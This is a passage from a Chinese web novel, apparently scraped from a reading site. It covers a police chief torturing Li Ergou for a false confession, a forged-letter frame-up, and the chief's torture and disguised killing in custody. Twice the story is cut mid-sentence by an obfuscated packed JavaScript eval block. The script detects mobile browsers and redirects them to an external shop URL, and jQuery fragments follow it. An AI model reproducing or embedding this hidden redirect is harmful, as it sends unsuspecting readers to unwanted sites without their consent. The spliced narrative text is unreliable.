李二狗突然站起身,大声喊道:“牛局长,您可不能冤枉好人啊!什么抢劫轮船?这么大的罪名我可担不起!” “既然知道自己担不起,那就老实交代,说,你是受谁指使?同伙还有谁?” “我根本没有抢劫轮船,哪里有什么幕后指使之人?牛局长,我冤枉啊,我比窦娥还冤!” “李二狗,都这时候了你还在这里装无辜!我告诉你,事发当天,有人亲眼在轮船上见过你,你还想抵赖吗?” “谁见过我?我要和他当面对峙!他娘的,这不是血口喷人吗?” 牛得水起身走到李二狗身边,面带笑容,一副成竹在胸的表情。 “李管家,咱们是老相识了,只要你说出幕后指使之人,我可以向王县长求情,保证让你免受牢狱之苦。” “牛局长,我没有做过的事,您不能让我认啊。” “李二狗,你怎么还想不明白?这件事一定要有人站出来承担责任,不是你,就是我,也可能是他,无论是谁,我们总得对王县长有个交待不是?” 李二狗故意问道:“牛局长,我不明白您的意思。” “这次轮船被劫,背后有没有监守自盗的可能?李管家,我知道你和某些人的关系很好,可关系好有什么用?不照样把你抓进来了吗?他能保得了你吗?” 李二狗明白了,牛得水是想让李二狗承认幕后指使之人是孙竹刚。 “牛局长,我根本没有做过的事,我怎么承认嘛?您这不是让我昧着良心说瞎话吗?我李二狗绝不是这种不仗义之人!” “做没做是你说了算吗?我明确告诉你,李二狗,到了这里,我说是你做的就是你做的!你甚至连反驳的机会都没有!” 李二狗大喊一声:“我要见王县长!” 牛得水狞笑道:“王县长是你想见就能见的吗?你算个什么东西!李二狗,你再不承认,老子可就不客气了!” “牛局长,你是想屈打成招吗?” “哈哈,到了这里你竟然还抱有不切实际的幻想,不给你一点厉害尝尝,你真是不把我们警察局当回事!来人,先让李管家尝尝皮鞭子蘸盐水的滋味。” “放开我!你们这是逼供!我要告你们!” “哈哈,告吧!不过得等你能从这里走出去再说,动手!” 两个警察上前,把李二狗架到一个木质十字架前,又来了两个警察,把李二狗的四肢绑在柱子上。 “我再给你最后一次机会,只要你说出幕后指使之人,我可以保证你的人身安全。” “我根本就不知道你在说什么!” “给我打!” “住手!” 审讯室的门突然开了,孙竹刚怒气冲冲地闯了进来,他没想到牛得水动作如此之快。 “孙局长,我正在审问重要犯人,有什么事等我审完再说。” 孙竹刚没有丝毫退缩之意。 “牛局长,李二狗到底犯了什么罪?你竟要动大刑!” “他犯什么罪,等我审完就知道了,你现在出去,不要耽误我审问犯人!” “牛局长,如果你审问犯人的方式就是屈打成招,我作为分管日常工作的副局长,我明确提出反对意见。” “你反不反对没有用,现在是我在审问犯人,你有什么意见等着局里开会的时候再提,你现在出去,不要耽误我审案。” “牛局长,轮船被劫案一直是由我负责的,王县长是同意的,现在有人举报李二狗和轮船被劫案有关,我需要和他核实一些情况。” “等我审完你再核实!你现在给我出去!来人,把孙局长请出去!” 孙竹刚没想到牛得水发疯了,但他是局长,自己只是一个副局长,这样公然对抗,自己肯定吃亏。 一个警察上前恭敬地说道:“孙局长,请您先出去!” 孙竹刚甩手给了他一个响亮的耳光。 “妈了个巴子,我们领导在讨论案情,还轮不到你说话。” 这个警察是牛得水的嫡系,他挨了打也毫不畏缩。 “对不起,孙局长,我在执行牛局长的命令,请您理解。” “老子不出去,你能把老子怎么样?” 牛得水决定毕其功于一役,他大喝一声:“违抗命令者,就地枪决!” 这个警察掏出腰间配枪,“咔嚓”一声打开保险栓,他此时就是真把孙竹刚毙了,孙竹刚也理亏。 李二狗给孙竹刚使了一个眼色,让他快点离开。 “李二狗要是有什么三长两短,你们给我等着,等我向王县长汇报之后再来和你们算账。” 孙竹刚“砰”的一声摔门而出。 牛得水对着门口的方向“呸”了一声。 “警察局现在姓牛不姓孙,敢和老子叫嚣,总有一天你会跪在我脚下向我求饶。” 拿着皮鞭的警察上前轻声问道:“局长,还打不打?” 牛得水看向李二狗,冷笑道:“给我打,打完之后让他在认罪书上签字按手印,我就不信,他能扛得住这顿皮鞭!” “啪——嗖啪——” 李二狗只感觉身上被抽打过的地方像火燎般在灼烧,继而是如同刀割般的锐痛感。 见李二狗不吭声,鞭子抽打的速度更快了。 “啪——嗖啪——” “啪——嗖啪——” 李二狗有一种万蚁噬心的感觉。 他咬紧牙关,鲜血顺着他的嘴角流了出来。 李二狗没想到牛得水会把自己往死里打! 牛得水也没想到李二狗的骨头这么硬! “局长,怎么办?再打下去恐怕会出人命。” 牛得水恨得牙痒痒,如果不能一次拿下李二狗,下一次就更难了,更何况孙竹刚还在外面虎视眈眈。 但要真是把他打死了,无论是王正直还是孙竹刚那里都交待不过去。 “先别打了,你们都出去,我和他谈谈。” 所有的人都出去了,牛得水来到遍体鳞伤的李二狗身前。 “李管家,你是条汉子,我非常佩服。” 李二狗此时疼痛难当,他真想痛痛快快地大喊几声,然后大哭一场,可他只能咬碎了牙往肚子里咽。 “让牛局长……见笑了!” “李管家,你和孙竹刚无亲无故,这又是何必呢?只要你承认受他指使,我可以保证你不仅不会得到惩罚,还可以得到一百亩良田,就地成为地主。” 第238章 牛得水的举报信 “牛局长,恐怕得……让您失望了,我李二狗……虽然只是一个微不足道的……小人物,但绝不会做……这种不仁不义之事。” 气急败坏的牛得水反手给了李二狗一个耳光。 “李二狗,你就等死吧!” 李二狗发出一阵令人毛骨悚然的笑声。 “谁死谁活……尚未可知,牛局长,您可别大意了!” “哼,我倒要看看是你的嘴硬还是我的钳子硬,来人!” 两个警察从审讯室门外走了进来。 “用钳子把他的牙齿全部给我拔下来!” “是!” 李二狗只感觉自己的嘴巴在颤抖,牙齿在打晃。 若真的被拔掉满口的牙齿,那以后岂不是连亲嘴都变成了一种奢侈?那活着还有什么乐趣? 但李二狗知道,自己绝不能屈服,即使承认了孙竹刚是幕后指使之人,牛得水肯定也不会放过自己。 他那些冠冕堂皇的话骗骗孩子还差不多! “狗日的牛得水,老子就是做鬼也不会放过你!来吧,爷爷吭一声就是你孙子!” “住手!” 审讯室再次传来孙竹刚的声音。 “孙竹刚,你不要三番五次地打扰我办案,否则出现任何意外都是你的责任。” “牛局长,你不要激动,王县长有急事找你,让你马上去县政府一趟。” “孙竹刚,你休想用王县长的命令来骗我!” “王县长的命令谁敢伪造?” 牛得水心想,孙竹刚就是有天大的胆子也不敢假传县长的命令。 “你们两个在这里看着,没有我的命令,任何人不许接触犯人。” 牛得水瞪了一眼孙竹刚,匆匆赶往县政府。 孙竹刚看着遍体鳞伤的李二狗,心中对他的敬佩之情油然而生,他没想到李二狗竟是一个铁骨铮铮的汉子。 不仅他没想到,连李二狗自己都没想到。 “站住!孙局长,请不要让我们为难好吗?” 孙竹刚对他发出了死亡凝视。 “来人!” 外边冲进来四个荷枪实弹的警察。 “把他们两个给我押下去,任何人不许进入审讯室。” “孙局长,这是牛局长的命令,你……” “拉出去!” 那两个警察被押了出去,审讯室的门关上了。 孙竹刚亲自给李二狗解下身上的绳索,两人都泪流满面。 孙竹刚是感动得,李二狗是疼得。 “兄弟,让你受委屈了,大哥来晚了。” 李二狗一屁股坐在地上,痛得几乎无法呼吸。 他努力调整自己的呼吸,方才缓缓说道:“牛得水想让我承认你是幕后指使之人,我怎能答应他?!” “兄弟,你对大哥的这份情意,大哥真不知道该如何报答你。” “咱们是兄弟,”李二狗深深呼了一口气,“信交上去了?” “放心吧,交上去了,牛得水这次死定了!” “大哥,以后这局长就是你的了。” 孙竹刚叹息道:“兄弟,你对大哥的这份恩情大哥记一辈子。大哥对不起你,现在还不能放你出去,程序该走还得走,不然王县长那里不好交代,不过你放心,等牛得水被抓起来,我立马组织对你的审讯,走完程序就放你出来。” “大哥,你放心,我还能坚持,你快去办正事吧!” “兄弟放心,县政府那边已经安排了十几个警察,牛得水跑不掉的。” 县政府,王正直办公室。 “王县长,您找我?” 牛得水刚刚进入县长办公室的时候,发现门口站着四名警察,个个神情严肃,更奇怪的是,他们竟然要求自己交出配枪。 由于是去县长办公室,牛得水只能乖乖配合。 “牛局长,李二狗的案子审得怎么样了?” 王正直低着头看办公桌上的文件,没有抬头看牛得水,更没有让他坐下。 牛得水站在办公桌前,脸上堆满了谄媚的笑容。 “县长您放心,最晚明天,我一定撬开李二狗的嘴。” 王正直抬起头,似笑非笑地看着牛得水,说道:“撬开?这么说你是对他动了刑?” 王正直的笑容令牛得水脊梁骨有些发凉。 孙竹刚说王正直找他有急事,难道就是问这件目前并没有结果的事? 这不符合常理! “县长您不知道,这个李二狗就是茅厕里的石头,又臭又硬,怎么都不肯开口,我也是没有办法才动的刑,不过您放心,肯定不是屈打成招!” 王正直依然是一副似笑非笑的表情。 “呵呵,好一个不是屈打成招,我听说你一直让李二狗说出幕后指使之人?你想让他指认谁?” 牛得水身上的冷汗瞬间下来了。 “县长,我不是这个意思,我是觉得李二狗一个人根本干不了那件事,他背后肯定有指使之人。” “牛局长,你为了排除异己,真是不择手段啊!” 此话一出,牛得水的脸瞬间变了颜色。 “王县长,您可不能听信小人谗言啊,我绝没有排除异己,只是想尽快查出抢劫轮船的歹徒。” “这个案子一直是孙局长负责,牛局长什么时候对这个案子这么上心了?” “王县长,我……我也是着急,案子一直没有进展。” “呵呵,如果轮船是你劫的,当然很难取得进展。” “王县长,您……您可不能开这种玩笑啊,卑职怎么敢做出此等杀头之事?” “你还有不敢做的事?”王正直抓起桌上的信,扔到牛得水跟前,“你看看这是什么?!” 牛得水捡起地上的信纸,看到上面的字迹和内容时,一下子瘫坐在地上。 “王县长,我冤枉啊!” 原来李二狗安排宋孬蛋找了一个擅长模仿别人笔迹的人,模仿牛得水的笔迹写了一封针对王正直的举报信。 信中详细阐述了王正直如何欺上瞒下,巧取豪夺,囤积粮食,中饱私囊,置灾民死活于不顾的事实。 同样的信写了三封,信封上分别写着省政府、南京行政院和南京监察院。 信件投递出去的同时,宋孬蛋就告知了孙竹刚。 孙竹刚带领两名警察以查处间谍之名,命令邮局打开邮筒,在众人的见证下取出这三封信,并立即交到了王正直手上。 第239章 自作孽不可活 王正直眼神冰冷地凝视着牛得水。 “你冤枉?你看信纸上那狗爬一样的字迹,不是你还能是谁?” “王县长,这信真不是我写的!我怎么会做出此等大逆不道的事情?” “呵呵,你也知道这是大逆不道?就因为我重用孙竹刚,你就怀恨在心,我真没想到你竟想置我于死地!” 牛得水“扑通”一声跪在地上,爬到王正直面前,抱住他的大腿,痛哭流涕。 “王县长,您听我解释,这事真的不是我做的,肯定是有人在故意陷害我,对,是有人陷害我!” “都这时候了你还死鸭子嘴硬!牛得水,你真是没救了!来人!” “王县长,您不能这样啊!” 四名警察推门走了进来,牛得水吓坏了。 “王县长,王县长,”牛得水紧紧抱住王正直的大腿不松手,“只要您饶了我这一次,我保证不把您的那些事情说出去。” 王正直没想到牛得水竟敢威胁自己,他俯视着脚下颤抖的牛得水,眼神中露出了杀机。 “你们还愣着干什么?快把他拉走。” 两名警察上前,牛得水死死抱住王正直的大腿不松手。 “王县长,我保证不会说出去,我保证!” 王正直用尽全身力气想抽出自己的大腿,牛得水却抱得更紧了。 “把他的手指掰开!” 两名警察每人掰住他的一只手,用尽九牛二虎之力,硬生生掰断了两根手指,牛得水才不得不松开手。 “王县长,我是被冤枉的,您就饶了我这一次吧。” “拖出去!” “王县长,我是被冤枉的……” “王县长,”牛得水刚被拖出去,孙竹刚就走了进来,“牛局长他……” 王正直并不想让孙竹刚知道举报信的具体内容。 “哎,真是知人知面不知心啊,没想到牛得水竟然捏造事实,想谋害于我,真是枉费了我对他的一番信任。” “王县长,牛得水自作孽不可活,您不必自责。” “他现在已经完全失去了理智,我担心他乱说话,你能明白我的意思吗?” 孙竹刚心领神会,说道:“王县长,您放心,牛得水捏造事实,谋害领导,这种人根本不用审,直接判个三年五载完全没有问题。” 王正直没接话,孙竹刚显然没有明白他的意思。 “孙局长,不管怎么样,牛得水这个警察局局长都不能再干了,我准备提拔你为局长。” 孙竹刚激动的差点跳起来,没想到一直梦寐以求的局长宝座这么快就落到自己头上。 “王县长,感谢您对我的厚爱,卑职定当惟你马首是瞻,鞠躬尽瘁,死而后已。” “哈哈,孙局长,你的能力大家都有目共睹,我看好你哦。” “谢谢县长,谢谢县长。” “孙局长,牛得水之所以举报我,很大一部分原因是因为我提拔重用你,如果他听说你当了局长,一定不会善罢甘休,其实他在省政府还是有些关系的。” “王县长,您的意思是?” “百足之虫,死而不僵,我们千万不能犯打蛇不死反受其害的错误啊。” 孙竹刚终于明白了王正直的意思,内心还是微微有些吃惊,没想到王正直看着面善,内心却如此狠毒。 “王县长,卑职懂了,一定按照您的意思去办。” “孙局长,你理解错了,不是按照我的意思,是依法依规办理,一定要办成经得起推敲的铁案。” 孙竹刚眼珠子一转,马上有了一个主意。 “王县长,卑职有件事正要向您汇报。” “什么事?坐下说。” 孙竹刚半张屁股坐在椅子上,说道:“李二狗被人举报一事,从目前掌握的证据来看应该是诬告,牛得水为了把祸水引到我身上,对李二狗动了大刑,我刚刚从审讯室出来,李二狗现在已经奄奄一息了。” “没想到李二狗这个人还这么仗义。” “是啊,当初他带头向县政府捐赠二十万斤粮食,这样的人怎么可能去抢劫轮船?这不是多此一举吗?” “你说得对,马上去把李二狗放了,这样的人我们应该保护好,怎么还能让他受这么大的委屈呢?” “县长英明,李二狗一定会感激您的大恩大德。” 王正直笑了不语。 “县长,牛得水严刑逼供李二狗,很显然是包藏了不可告人的祸心,我分析,轮船被劫的幕后指使之人很可能就是他。” 王正直笑了。 “孙局长,一定要把证据链固定好,我们不放过任何一个坏人的同时也绝不能冤枉一个好人。” “您放心,我相信牛局长没有李二狗的意志。” “哈哈,既然你都想好了,那就快去办吧。” 孙竹刚离开县政府,直奔警察局审讯室。 “马上释放李二狗。” 孙竹刚亲自安排汽车把李二狗送到医院,安排好一切之后又回到审讯室,此时被绑在行刑架上的人变成了牛得水。 “孙竹刚,你这个卑鄙小人,一定是你在陷害我!” “牛得水,你不要血口喷人!白纸黑字写得清清楚楚你还想抵赖,你还要脸吗?” “呸!你这个小人,当初我怎么就没看出来你的野心,我真是瞎了眼。” “哈哈,你不仅瞎了眼还被猪油蒙了心,早点交代你的罪行,可以免受皮肉之苦。” “孙竹刚,你让我交代什么?我根本没有举报王县长,我怎么承认?” “牛得水,你不要再胡搅蛮缠、信口雌黄,什么举报王县长?你什么时候举报王县长了?我怎么不知道?” 牛得水一头雾水,他一双迷惘的眼神看着孙竹刚,不知道他葫芦里到底卖的什么药。 “对啊对啊,我没有举报王县长,你快把我放了。” “牛得水,你不要转移话题,如实交代你的罪行,我可以算你自首。” “我什么罪行?我根本没有犯罪啊!我交代什么?我没有要交代的!” “牛得水啊牛得水,你还真是不见棺材不掉泪,那我提醒你一下,上次轮船被劫是不是你幕后指使的?” 牛得水闻言犹如五雷轰顶。 第240章 让牛局长走的体面一些 “孙竹刚,你他娘的这是栽赃陷害!你有什么证据证明是我做的?” “我现在没有证据,但我想皮鞭子蘸盐水应该有,我倒要看看你有没有李二狗的骨头,给我狠狠地打!” 一个面目狰狞的男子手里拿着鞭子,狠狠地抽向早已吓得鬼哭狼嚎的牛得水。 孙竹刚心里默默地数着。 “一、二、三、四……” “别打了!我说,我说……” 孙竹刚满脸失望之色。 “人与人之间的差距怎么就这么大呢?仅仅才四皮鞭而已,牛得水,我真为你感到害臊。” “啊啊……你杀了我吧!我实在受不了这个。” “你到底承不承认是你指使人抢劫了轮船?” 牛得水犹豫了,他无法确认自己如果承认会给自己带来什么后果。 “给我接着打!” “不要打了,我承认!是我指使的。” “你的同伙现在哪里?” 牛得水欲哭无泪,他怎么知道这些莫须有的同伙在哪里,但鞭子抽打在身上,那种万蚁噬心的感觉让他痛不欲生。 “我不知道。” “你不知道?那我再提醒提醒你!” 孙竹刚一挥手,男子挥起皮鞭狞笑着又要抽向牛得水。 “不要打了!我真的不知道啊,那些人都是我在大街上雇的,事成之后他们就走了。” “那你做这件事的目的是什么?” “我……你就当我鬼迷心窍吧,呜呜……” 牛得水哭得特别伤心,声音也越来越大,最后竟变成了狼嚎。 “让牛局长看看,如果没有问题,请他签字画押。” 文书拿着审讯记录走到牛得水面前,牛得水根本连看也懒得看,直接签字画押。 欲加之罪,何患无辞! 他现在就是一只待宰的羔羊,根本没有任何反抗的余地。 “牛得水,念在咱们同事一场的份上,我也不想把事情做得太绝,你有什么要求,尽管提出来,我会尽量满足你。” 此时的牛得水已经万念俱灰。 “多谢孙局长的美意,但一人做事一人当,希望你放过我的家人,让他们离开江东。” 孙竹刚这才想到牛得水有一个美得不可方物的小老婆。 “你放心,我会照顾好她的。” 牛得水看着孙竹刚淫荡的笑容,方知所托非人。 “孙竹刚,你他娘真是卑鄙无耻下流。” “哈哈,咱们彼此彼此。” 孙竹刚来到县政府。 “王县长,牛得水已经交待,是他谋划抢劫的轮船。” “这个牛得水,作为警察局局长,竟然监守自盗,实在是太可恶了!” “是啊,这样的人一定要严惩,以儆效尤!” “孙局长,你觉得应该怎么处理牛得水?” 孙竹刚早就知晓了王正直的心思,便说道:“王县长,卑职觉得公开枪决牛得水,会给我们带来舆论上的压力,毕竟那些粮食都被难民抢走了。我建议,让牛得水在审讯室突发疾病而亡,这样对上对下都好交代。” “好啊,孙局长,既然你都想好了,那就去办吧,这样也能让牛局长走的体面一些。” “卑职明白,卑职这就去办。” 孙竹刚没有去审讯室,而是直接去了牛得水家里。 牛得水的大老婆和孩子都生活在省城,在江东跟着他的是小老婆肖凤姣。 肖凤姣,戏子出身,在江东跟了牛得水三年,并没有生养。 “孙局长,我正要去找您呢。” 此时的肖凤姣身穿一身红黑色紧身旗袍,玲珑有致的身材让孙竹刚眼里喷火。 她哭红的双眼,更显得楚楚动人。 “哎,我来就是要告诉你,牛局长的事我也是爱莫能助啊。” “孙局长,您可一定要救救老牛啊,他对您一向爱护有加,您可不能不管他啊。” “凤姣啊,”这是孙竹刚第一次如此称呼她,她眼里满是惊讶,“不是我不管,是他得罪了王县长,谁也救不了他,你还是多考虑考虑自己的出路吧。” “我?”肖凤姣迷惑了,“我怎么了?” “牛得水被查处,按照处理流程,是要抄家的。” 肖凤姣一个没站稳,差点摔在地上,孙竹刚眼疾手快,伸手扶住她,她的腰肢是那么的柔弱无骨,令孙竹刚心神荡漾。 “这个杀千刀的牛得水,我可怎么办啊?孙局长,您得救救我啊。” “你放心,”孙竹刚的手在肖凤姣身上游走,很快就摸到了她丰满而又圆润的屁股,肖凤姣完全没有躲闪,“我这次来就是给你想办法的。” “那人家就先谢谢孙局长了。” “我们进屋里慢慢说。” “孙局长,人家还是有点怕。” “不要怕,有哥在,一切问题都不是问题。” 孙竹刚忍不住掐了一下肖凤姣弹性十足的屁股。 “嘻嘻,孙局长,你坏死了,以后你可不能不管人家啊。” “放心,只要你好好表现,老子保你继续过穿金戴银的好日子。” 屋里很快就响起了吹拉吟唱的声音。 月黑风高,胡家大院的一切都笼罩在黑夜之中。 “驴哥,来抽支烟。” 看到张二驴走过来,正在站岗的一个家丁立马递给他一支烟。 张二驴一把拽下他含在嘴里的烟扔在地上,并马上用脚捻灭。 “你小子不想活了?这么黑的天,燃烧的烟头在一里之外都看得一清二楚,小心枪子崩了你的脑袋。” 家丁被张二驴一骂,反而很高兴。 “嘿嘿,我实在是太困了,就想着抽支烟解解困,应该没什么事吧?你听,外边连声鸟叫都没有。” 张二驴凝视着伸手不见五指的夜空。 “就是因为太过安静了我才担心!” “驴哥,不用担心……” “砰”的一声枪响,家丁的脑袋顿时开了花。 接着就是噼里啪啦的枪声。 “谁先冲进胡家大院,赏大洋一百!” 分明就是张大发的声音。 张二驴蹲在一堵砖墙后面,大声喊道:“大家都不要乱,听我指挥,点火!” 两个家丁迅速点燃了两支火把,火焰熊熊燃烧,映照着家丁略显稚嫩但坚毅的脸庞。 第241章 仇人相见 张二驴大喊一声:“扔!” 两支火把从院墙上扔了出去,院墙下面瞬间燃起冲天大火,火光照亮了院墙下那群正在打枪之人惊讶的脸庞。 原来张二驴按照李二狗的部署,提前在院墙下放了两口大缸,缸中盛满了煤油。 点燃后一来可以看清院墙下面的情况,二来在迫不得已的时候可以击碎大缸,里面的煤油流出来可以有效阻止敌人的进攻。 “给我瞄准了狠狠地打!” 张二驴一声令下,两侧角楼里的两挺**瞄准尚未反应过来的歹徒,一梭子**打完,十几个歹徒就倒在血泊之中。 张大发本想借着李二狗被关押在警察局之机,带人假扮土匪洗劫胡家大院,没想到胡家大院早有准备,片刻之间人员就伤亡过半。 “给我撤!” 张二驴举枪瞄准了躲在一棵大树后的张大发,在他离开树干准备撤离的时候,张二驴扣响了**。 “啊!” 张大发的肩膀上中了一枪。 “快撤!” 歹徒扶着张大发狼狈逃窜。 “驴哥,我们追不追?” 张二驴本想乘胜追击,彻底消灭这群歹徒,但他立刻想到李二狗临走前的嘱咐。 “告诉大家谁都不许走出院门,加强警戒,等天亮了再说。” 当天晚上,牛得水在警察局审讯室突发疾病,早上送到医院时,身体已经凉透。 经过医生一番严格的检查,最终确认牛得水死于心脏骤停。 孙竹刚一大早来到医院病房。 “二狗兄弟,牛得水已死,咱们少了一个心腹大患,以后等待咱们兄弟的都是好日子。” 李二狗看孙竹刚满面红光,知道他肯定已经坐上警察局局长的宝座。 “大哥,祝贺你,终于如愿以偿。” “哈哈,这都是托你的福,如果你没坚持住,也许此刻躺在太平间的就是我了,兄弟,你让大哥佩服得五体投地啊。” “大哥就别取笑兄弟了,当时我真的差一点就没坚持住,但想到大哥嫂子对我的好,我就是死也不能害你们。” 孙竹刚激动地流下两行热泪。 他紧紧地握住李二狗的手,泪眼婆娑地说道:“兄弟,大哥以后会好好补偿你的。” “大哥,咱们是兄弟,你说这话太见外了。” “对,咱们是兄弟,一家人不说两家话。我已差人去胡家大院告知你在这里的情况,你就安心在医院养伤吧。” 李二狗知道,此时宋孬蛋肯定在医院的某一个角落盯着自己。 “那就谢谢大哥了,大哥公务繁忙,快去忙吧,还有,大哥,千万别告诉嫂子我受伤的事,免得嫂子担心。” “还是兄弟想得周到,你好好养伤,等伤好了让你嫂子包饺子给你吃。” “谢谢大哥,嫂子包的饺子最好吃了。” “哈哈,好,我先走了,晚上我再来看你。” 孙竹刚一走,宋孬蛋紧接着就走了进来。 看到李二狗身上缠满了绷带,宋孬蛋泪如雨下。 “**张大发,我一定要亲手宰了他。” 李二狗招手让宋孬蛋坐到床边。 “孬蛋,不要哭,我这不好好的嘛。” “狗哥,哪个**把你打成这个样子?我饶不了他。” “打我的人正躺在太平间呢,那件事你办得特别漂亮,牛得水已经被王正直处**。” “他真是死有余辜!我恨不得剥他的皮,抽他的筋,方能解我心头之恨。” “人都**,就不要计较这些了,孬蛋,回山寨后不要告诉兄弟们我的情况,免得他们担心。” “狗哥,其他人能瞒,嫂子那里应该瞒不住吧?你身上这伤……” 李二狗想了想,与其日后落埋怨,不如现在就告诉**。 “那你回山寨把你嫂子接来,这几天我行动不方便,正好让她来伺候伺候我这个病号。” “好,我这就回山寨接嫂子。” 宋孬蛋刚要走,李二狗又叫住他。 “孬蛋,张大发的事你先不要管,我自有安排。” “狗哥,回去我就带人宰了他,这种人留着也是个祸害。” “千万不可!他刚得罪了我,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930886|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 马上被土匪杀了,容易引起一些人的怀疑,再说,让他死得这么痛快,岂不是太便宜他了?” “好吧,我听你的,就让这个王八蛋再多活几天。” 中午时分,**便赶到了医院。 见到浑身缠满绷带的李二狗,**顿时泪崩。 她握着李二狗的手,伏在他身上哭得身体颤抖。 “素文,别哭了,我这不好好的吗?只是一些皮外伤罢了。” 李二狗躺在病床上一动不动,**又怎会相信只是皮外伤。 “你都伤成这样了,还要骗我!” 李二狗艰难地抬起手,抚摸了一下**的头。 “我怎么会骗你呢?我真的没事,过几天就好了,你别难过,我这也是因祸得福,这几天你得负责我的吃喝拉撒,哈哈。” **被逗笑了,她一边哭一边笑。 “讨厌你!” “哎吆。” “对不起,对不起,我弄痛你了吧?” 李二狗强忍伤痛,笑道:“没事,我心里一高兴,身上就觉不着痛了。” “就会骗人!” 李二狗眼睛不经意间看向病房门口,顿时愣住了! “二狗,你怎么了?” 看李二狗不说话,**顺着他的眼睛看向门外。 于兰芝抱着梦瑶正站在病房门口。 两人对视的瞬间全部愣住了! “你怎么在这里?” “你怎么在这里?” 两人几乎同时发出同样的疑问。 李二狗看到两人眼中同时发出想掐死对方的冲动,战争一触即发。 李二狗躺在病床上,本想挣扎着坐起来,但身上的伤口立马传来一阵撕心裂肺的痛楚。 “哇哇哇……” 梦瑶的哭声打破了宁静。 于兰芝抱着孩子来医院看李二狗,**就是个傻子也知道是怎么回事! 她转头看向李二狗,眼中的绝望和痛楚令李二狗的心都碎了。 “素文,你听我解释。” 李二狗伸手想去拉住**的手,**却下意识地往后一退,她眼神冰冷地凝视着李二狗。 第242章 你在我心里的位置没有任何人可以取代 “李二狗,你知道我这辈子最恨谁!你这是拿刀子往我心口窝里捅啊。” **哭得特别凶,他从她的眼神中看到了怨恨、恼怒、痛苦和绝望。 她哭着跑出病房,李二狗急得从病床上滚落下来,此刻的伤痛已经完全湮灭在他心痛之中。 宋孬蛋听到声音赶来,准备扶起李二狗。 李二狗急得声音都变了。 “孬蛋,别管我,看好她,千万不能出事。” 宋孬蛋哀叹一声,转身去追**。 于兰芝站在原地,任由梦瑶在她怀中放声哭泣,她却毫无反应。 她本想转身离去,但看到躺在地上,身上缠满绷带的男人又狠不下那颗心。 护士听到动静赶来,一边埋怨一边把李二狗从地上扶起来。 刚刚结疤的伤口全部撕裂,鲜血洇红了他身上一圈又一圈的绷带。 “你不要命了?”护士斥责道。 李二狗充耳不闻,眼神呆滞,仿佛被抽走了灵魂一般。 由于李二狗是警察局局长孙竹刚送来的,护士不敢怠慢,急忙出去叫来医生。 医生检查完李二狗的伤势之后,吩咐护士给他解开绷带重新上药包扎。 于兰芝看到李二狗身上狰狞的伤口,所有的怨恨、委屈和不满在那一刻统统烟消云散。 她心疼坏了。 护士包扎完走出病房之后,于兰芝抱着梦瑶站在床边。 “你没什么要和我解释的吗?” “我对不起你们,都是我的错,你们要杀要剐,悉听尊便。” “李二狗,这就是你对你女儿亲娘的态度吗?” 李二狗痛苦地闭上眼睛。 “我知道我没有资格要求你什么,我只是希望你能给我一个合理的解释,至少我心里的痛苦会少一些。” “兰芝,当初**被土匪抢上山寨,胡士高不舍得拿出赎金,阴差阳错之下,是我救了她。生逢乱世,她一个女人,孤苦伶仃的怎么生活?我就收留了她。” 于兰芝冷笑道:“后来你就把她收留到自己床上了是吗?” “难道我得单身一辈子?” 于兰芝被反驳的哑口无言。 她自己是胡家大院的大奶奶,又怎么能要求李二狗为她守身如玉? “哎,我知道我以前做过对不起**的事情,她肯定恨极了我。不管你最后做出什么样的决定,我都不会怨你,只希望你不要忘了咱们的女儿。” 李二狗知道于兰芝在打感情牌,她给自己生了一个女儿,李二狗实在没有理由抛弃她。 良心也不能让他那样做。 “兰芝,我现在身不由己,等我伤好之后,一定给你一个满意的答复好吗?” 这也许是于兰芝此时能得到的最好的答复。 “好,我等着你给我答复。你受伤这么严重,我带着梦瑶也不方便照顾你,让迎春留下来照顾你吧,她正在楼下。” “不用了,这里有护士,你一个人带孩子离不开迎春,放心吧,我只是皮外伤,过两天就能回家了。” 于兰芝很想问问他回哪个家,最后还是忍住了,她知道,男人都不喜欢说话尖酸刻薄的女人。 “那你好好养伤,我和梦瑶在家等你。” “嗯,回去吧,照顾好梦瑶。” “梦瑶,和爹爹再见。” 刚刚一直在哭的梦瑶竟对李二狗露出了一个天真灿烂的笑容。 李二狗知道,只要有梦瑶在,他和于兰芝这辈子就会继续纠缠在一起。 他此时最担心的还是**,如果她想不开,李二狗不敢想。 因为生不了孩子,**一直生活在愧疚之中,而害她生不了孩子的罪魁祸首现在却为李二狗生了孩子,她怎么可能接受这样一个残酷的事实! 李二狗在惴惴不安中度过了整个白天。 宋孬蛋一直没有回来,这就说明他一直在跟着**。 夜幕降临之后,严婆惜提着饭盒走进了病房。 “二狗兄弟啊,我听你大哥说你受伤了?在家都急死我了,你的伤怎么样?” 每次见到严婆惜,李二狗都会觉得紧张。 “让嫂子担心了,我没事,一点皮外伤而已,很快就可以出院了。” 严婆惜看着李二狗浑身缠满绷带,心疼地直掉眼泪。 “二狗兄弟啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930887|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,你受苦了。嫂子特意给你包了饺子,来,嫂子喂你吃。” “嫂子,不用麻烦你,我自己来就行。” “你看看你,手都抬不起来,怎么能自己吃?听话,嫂子喂你吃。” 李二狗还未张嘴,严婆惜已经用勺子舀着一个饺子喂到李二狗嘴边。 